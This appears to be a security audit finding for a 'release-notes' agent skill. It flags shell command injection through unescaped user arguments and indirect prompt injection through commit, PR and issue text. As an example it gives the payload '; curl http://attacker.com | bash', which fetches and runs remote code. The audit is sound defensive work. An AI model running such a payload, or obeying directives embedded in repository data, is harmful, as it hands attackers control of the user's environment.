The Agent Skills Directory

[COMMAND_EXECUTION]: The skill uses variables like $RANGE and <num> directly within shell commands, such as git log, git diff, and gh pr view. These variables are derived from user-supplied $ARGUMENTS. Without proper validation or escaping, a malicious user could provide a payload (e.g., ; curl http://attacker.com | bash) that results in arbitrary shell command execution in the environment where the agent is running.
[PROMPT_INJECTION]: The skill has a large attack surface for indirect prompt injection as it is designed to 'deep dive' into data that can be controlled by third parties (commits, PRs, and issues).
Ingestion points: Technical data gathered via git log, gh pr view, glab mr view, and gh issue view (SKILL.md, Step 3).
Boundary markers: The skill lacks delimiters or specific instructions to the agent to ignore any embedded directives or instructions within the processed metadata.
Capability inventory: The skill possesses the ability to execute shell commands and write files to the repository (SKILL.md, Step 1 and Step 6).
Sanitization: There is no evidence of sanitization, escaping, or filtering of the external content before it is processed by the AI model.

release-notes